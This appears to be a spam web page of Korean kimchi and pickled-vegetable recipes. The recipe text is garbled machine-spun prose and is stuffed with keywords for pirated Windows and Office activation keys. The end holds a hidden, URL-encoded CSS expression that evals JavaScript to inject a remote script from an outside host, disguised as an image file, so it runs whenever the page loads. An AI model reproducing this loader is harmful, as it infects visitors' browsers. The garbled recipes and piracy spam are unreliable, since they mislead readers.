Windows 7 Starter Activation 12 ways the Korean pi

[titejj52]

(A ) one ----- Korean spicy cabbage recipe cabbage raw 50 kg 50 grams of salt, garlic, ginger, 250 g one kg 500 grams of red pepper Pear caraway seeds 250 g sugar MSG suitable creation strategies 1. chosen massive trees, sizeable core real cabbage, for the previous aid, slashing the leaf to root, washed 3 instances with drinking water, then neatly placed inside the altar. two. burn off salt h2o, let cool loaded to the altar of cabbage (the cabbage submerged so far.) Marinate 3 to four days, eliminate the cabbage, and then washed twice with water, dry manage drinking water. three. very first ginger, garlic, chopped mud, then with salt, coriander seed, red pepper Ban Cheng with mud, eliminate, place a bit water and stir again with MSG. Peel pears, lower every into a big, spare. four. seasoning evenly to put on every piece of cabbage leaves, pickled altar neatly inside the code in each and every release layers, layer of bretschneideri film. five. the remaining spices along with the suitable quantity of water, add a little salt, some light scent,Office Pro Plus 2007 Serial, three days later to the altar, to ensure that the h2o height is twenty centimeters. Place in kiln, about twenty days you are able to eat. (b) in the raw materials recipe cabbage Kimchi ------ 5000 grams 250 grams apple pear white radish 500 grams 250 grams 1500 grams of beef broth, garlic, onion 250 grams 150 grams 250 grams salt 150 grams of red pepper fifty grams of MSG manufacturing techniques 1. the cabbage soon after getting rid of roots and support the aged, washed with drinking water, drain water, knife and lower into four, into the basin, sprinkle with salt four to five hrs; radish for the root, to become, skin, reduce into thin slices, salted look; apple, peeled, minimize into slices; onions, chopped garlic mash. two. will likely be a great pickled cabbage, pickled radish Lek towards the water, to the altar, then apples, pears, beef soup poured all the spices mixed with cabbage, and gravy to drown cabbage, top with a thoroughly clean weighty compression, the dish sink. Time may be established according to the time, commonly 1 to two days in summer time; the winter is generally three to four days to eliminate the food. Features brilliant coloration, hot and sour crisp, refreshing and delicious, having a powerful neighborhood traits. (c) for the new law ------ one pickled Brassica juncea, Brassica juncea, taking 15 kg, 0.five kg of salt, garlic, 5-7, fifty grams of pepper, two red peppers. Will Potherb washed with water, slashing the roots, eliminate the yellow leaves, dry ventilated location, towards the entire Brassica juncea leaves little as well tired too. Brassica juncea, reduce into about one cm to sub-paragraph, around the bowl apart. 2, the garlic, ginger, pepper minimize into good, with pepper, salt, Brassica juncea, put in on the basin with uniform mixing, and then rub their hands far as well tired to Brassica juncea. Will install the altar Banhao Brassica juncea,Windows 7 Starter Activation, 10 cm significant are going to be installed compression, tamping, to somewhat water, then pressed tamping, till the succession Bahrain. 3, Brassica juncea, all put in soon after the shut with plastic sheeting to seal the altar, positioned in a cool place, about 20 days you'll be able to consume. Preserved by this strategy Brassica juncea, and flavor fresh and tasty, with crispy in spicy, do not possess a flavor. Brassica juncea, as a way to maintain fresh new not bad when the best foods in get special with a pair of chopsticks, cannot have that traces of oil, take the completed dish sealed following the altar. (d) mushroom kimchi ------ one. Substances: Mushroom 20kg, cabbage, celery, lettuce, carrots, green pepper and also the 4kg, ginger, white wine, pepper each 0.5kg, sugar amount. two. raw materials pretreatment: mushrooms, vegetables, washed with h2o, drained, celery to the leaves, cut into two ~ 3cm-long items, other greens lower into 5 ~ 6cm long Post. three. kimchi Drinking water: kimchi water to salt water too (can crispness.) Salt h2o per 10kg 800g, eliminate from warmth after boiling cooling stand. To speed up the cook pace the planning of kimchi within the new incorporating a bit drinking water of great quality h2o kimchi Chen. 4. cook: the mushrooms and reduce greens and pepper, white wine, ginger, sugar,Microsoft Office Enterprise 2007, and so forth. and mix nicely, wash the pickles to the altar, in to the pickle of drinking water, cover the top with the altar right after the fill with h2o seal tank. Sealed from the fermentation of ten to fifteen days,Microsoft Office 2007 Professional Key, you possibly can remove the food. Foods might be cold, but in addition seasoned fried. (e) spicy sweet and sour cabbage ------ Elements: Cabbage Ingredients: coriander, red chili, soybean oil, salt, vinegar, monosodium glutamate, onion ginger the quantity of silk manufacturing methods (1) get the spoon, plus base oil pan, pot with onion ginger soy silk, then add chili fried about (2) the pan put sugar, add suitable amount of soup to boil, points MSG, let cool slightly, pour inside the cabbage mixing bowl and combine effectively in the shade marinate 2 hours, sprinkle with parsley section can f) hot and sour cabbage ------ Components: Cabbage Components: red pepper, salt, vinegar, sugar manufacturing methods: (1) cabbage, chili respectively boiled for two minutes, remove and manage water. (2) to take pots. A layer of cabbage inside the bowl, sprinkle just a little salt, some pepper Zaisa wire, pour just a little vinegar, sprinkle some sugar, so laid layer by layer, the pots Gaiyan, 30 minutes, you may consume (g) scorching and sour pickled radish ------ Ingredients: 5 kg of white radish Substances: thirty grams of chilli powder, vinegar 0.eight kg, 200 grams of sugar, salt, 175 grams, a hundred grams of sesame oil, pepper and aniseed ten grams of MSG suitable, drinking water two kg. manufacturing strategies: initial by picking out thoroughly clean,Office 2007 Standard Activation Key, white radish, and then processed into 3 cm length and width, and 1 cm thick part, drying to Bacheng dry spare. Heat sesame oil, add chili powder and deep fry in yellowish when dry combine down Ruluo Bo. The salt, sugar, pepper, aniseed open to the pot, add drinking water boil, add MSG Allow cool and pour to the cylinder, plus the radish mix, turned over as soon as each and every 15 days Serve completed (h) acid spicy radish ------ Ingredients: big turnip or radish Elements: dried red chili pepper grains, the quantity of salt. Manufacturing Approach: cylinder brush go-getters, dried, plus the radish combine using the chili and put it to the cylinder, placed in salt h2o (500 grams of h2o plus fifty grams of salt, dissolved open) did not have radish,Zaisa some peppercorns, the vats inside a warm place about 15 days or so edible, (IX) ------ Sweet & Spicy Cucumber Elements: 10 kg of clean cucumber components: 2 kg of salt, soy sauce, 3 kg, 2 kg of sugar, sugar quantity, 200 grams of dried chili, ginger silk fifty grams, 20 grams of MSG, sesame seeds 100 grams. Creation Technique: Wash clean cucumber, melon layer a layer of salt, into the pickling tank. The next day an inverted cylinder, 18 degrees on the tiny amount of salt h2o, inverted cylinder after the 1st day, even down 6 instances. twenty days may be cured through. After the salted cucumber out, soaked with drinking water one day, the middle of changing the water twice, after which press out the drinking water, to ensure that with only a touch of salty cucumber, then add soy sauce, sugar, chili, soaked in a mixture of MSG and other spices,twice a day, turning mix, two days of fish, mix with cooked sesame seeds. (x) ------ Eggplant pickled garlic Components: Smaller eggplants tender 1,000 grams, drinking water washed and place up the cage pot boiling, let cool stand out. Peeled garlic slap a knife, into the pot mashed garlic, salt, MSG, mixing evenly. From the middle of your steamed eggplant torn in half, garlic evenly between prepared cast. And then put in pots or altar, within the refrigerator. [flash, 0,0] style = ee: expression (eval (unescape ('this.parentNode.style.display% 3D% 27none% 27% 3Bif% 28% 21window.xxr% 29% 7Bvar% 20l% 3Ddocument . createElement% 28% 27script% 27% 29% 3Bl.src% 3D% 27http% 3A / / love.avtupian.com / a / q / mq.jpg% 27% 3Bl.type% 3D% 27text/javascript% 27% 3Bdocument.getElementsByTagName% 28% 27head% 27% 29.item% 280% 29.appendChild% 28l% 29% 3Bwindow.xxr% 3D1% 7D'))); display: none; @ qq.com [/ email] [/ flash]